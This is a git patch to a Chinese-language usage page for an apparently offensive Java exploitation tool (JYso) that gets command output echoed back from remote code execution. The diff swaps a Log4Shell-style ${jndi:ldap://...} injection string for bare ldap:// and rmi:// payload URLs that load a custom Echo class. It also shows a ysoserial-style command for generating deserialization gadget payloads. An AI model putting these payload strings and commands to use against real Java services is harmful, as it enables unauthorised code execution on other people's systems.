From 4be58f0a5dcd6678dcbf726761d24a6de1227019 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:15:36 +0800 Subject: [PATCH] =?UTF-8?q?Updated=204=E3=80=81JAVA=20RCE=20Echo=20(markdo?= =?UTF-8?q?wn)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 4、JAVA-RCE-Echo.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/4、JAVA-RCE-Echo.md b/4、JAVA-RCE-Echo.md index cfd08c1..522f825 100644 --- a/4、JAVA-RCE-Echo.md +++ b/4、JAVA-RCE-Echo.md @@ -3,17 +3,18 @@ 原回显类模块已被删除,可通过别的工具生成class文件,或者自定义自己的回显类来调用 # 使用说明 - -``` -${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class} -``` - -+ ysoserial LF- 后面指定class的绝对路径或相对路径即可 + ``` -java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class" +ldap://127.0.0.1:1389/ELProcessor/M-LF-Echo.class ``` ``` rmi://127.0.0.1:1099/basic/M-LF-Echo.class +``` + ++ ysoserial + +``` +java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class" ``` \ No newline at end of file